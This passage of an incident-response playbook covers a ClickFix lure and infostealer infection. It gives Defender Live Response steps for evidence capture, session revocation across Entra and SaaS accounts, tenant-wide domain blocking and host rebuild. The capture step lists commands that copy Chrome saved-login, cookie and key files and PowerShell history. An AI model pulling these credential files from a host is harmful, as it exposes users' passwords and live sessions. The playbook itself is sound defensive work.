T+10–20 · CaptureCollect the command, the browser profile, memory and the persistence snapshot (Live Response)

Why: the pasted command and the URLs in it are your indicators, and they are gone once the host is re-imaged. The browser profile tells you which accounts and sessions were on the host; ActivitiesCache.db keeps the clipboard text even when the stager wiped RunMRU; Prefetch, Amcache, SRUM and the USN journal show what ran, when, and how much it sent. The decoded stager and the stealer's config may only exist in memory.

Live Response. getfile cannot read a file the browser holds open, so take the browser files from the investigation package or after the user closes the browser. putfile uploads from the Library; add Magnet RESPONSE 1.7.2 d315c63d1ad4b89e03c7688b29169e977c2abc4559c23b9f6b2282f3c91a6c7d and Get-PersistenceSnapshot.ps1 a9534865f9e8e7b1f5077b4e1cfd8c29e7e32f6e9e49a4918ce4f8fb713e64df to it in peacetime. Also export now: the 30 days of Entra sign-ins for every user of the host (Get-MgAuditLogSignIn -Filter "userPrincipalName eq '<upn>'") and the unified audit log (Search-UnifiedAuditLog, 180 d Standard, 1 y Premium), before retention takes them.

registry "HKEY_USERS\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
registry "HKEY_USERS\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths"
getfile "C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
getfile "C:\Users\<user>\Downloads\<file>"
getfile "C:\Users\<user>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db"
getfile "C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\History"        (table downloads: referrer and tab_url)
getfile "C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Login Data"
getfile "C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies"
getfile "C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Local State"
getfile "C:\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles\<profile>\places.sqlite"
getfile "C:\Windows\System32\sru\SRUDB.dat"
getfile "C:\Windows\appcompat\Programs\Amcache.hve"
collect                                     (investigation package: Prefetch, autoruns, tasks, services, network, event logs)
putfile Get-PersistenceSnapshot.ps1
run Get-PersistenceSnapshot.ps1 -parameters "-Zip -OutputPath C:\IR"
putfile MagnetRESPONSEv172_Self_Extracting_Archive.exe
run MagnetRESPONSEv172_Self_Extracting_Archive.exe -parameters "/accepteula /unattended /output:C:\IR /caseref:<n> /captureram /capturepagefile /capturevolatile /saveitems"
getfile "C:\IR\<snapshot>.zip"
persistence

T+15–30 · SecretsRevoke sessions and reset passwords for every user on those hosts, everywhere the browser was signed in

Why: stolen session cookies keep working after a password reset; Defender for Endpoint has no action that revokes them. Entra is one of the sessions in that browser profile, not the only one. The order (reset then revoke, or revoke then reset) matters less than doing both within minutes; a revoke without a reset is undone by the stolen password, a reset without a revoke is undone by the stolen cookie.

Entra: Revoke-MgUserSignInSession kills refresh tokens; issued access tokens live up to an hour (longer with CAE-capable clients), so disable the account first if the user is privileged (Identity Breach Response). On an Entra-joined device the Primary Refresh Token lives in the TPM and is not stolen by a browser stealer, but the device-bound session cookies derived from it are; revoke covers those. Then, per account the browser held: Google Workspace (Admin console › user › Security › Sign out), Okta (DELETE /api/v1/users/{id}/sessions), Slack (Admin › sign out of all sessions), GitHub (Settings › Sessions, and rotate PATs), AWS console (deactivate the access keys, re-issue MFA), password-manager desktop and browser-extension sessions (deauthorise the device in the vault's admin console). Tell the user to do the same for personal accounts in the same browser.

Revoke-MgUserSignInSession -UserId <upn>

T+30–60 · BlockBlock the lure and payload domains tenant-wide, and report the lure

Why: other users visited the same page. The domains are the durable indicator; a payload hash only matches your copy, because every visitor gets a uniquely obfuscated stager. Reporting is what takes the lure down for everyone else.

Console: Settings › Endpoints › Indicators. Outside Edge, domain and URL blocks need Network Protection in block mode. Set an expiry: lures run on compromised legitimate sites. Then report the lure URL to Google Safe Browsing (safebrowsing.google.com/safebrowsing/report_phish), to Google Ads or Microsoft Advertising if the referrer was an ad, to the site owner if it is a compromised legitimate site, and to your sector ISAC.

POST https://api.security.microsoft.com/api/indicators
{"indicatorValue": "<lure or payload domain>", "indicatorType": "DomainName",
 "action": "Block", "title": "ClickFix lure", "description": "IR case #<n>",
 "expirationTime": "<yyyy-mm-dd>T00:00:00Z"}

Hour 1+ · RebuildStop the running payload, then rebuild

Why: stopping the process ends the upload and keeps the file as evidence. Rebuild when any of these is true: persistence was created, the payload is a loader or RAT, a legitimate process was injected, more than one family was dropped, the user is privileged, or the process tree has a gap you cannot explain. Quarantine-and-reboot is enough only when the EDR stopped the stager before stage 2 and nothing was written or connected; even then, the secrets are still rotated.

Lift isolation only on a rebuilt host, or on one the hunt clears.

remediate process <pid>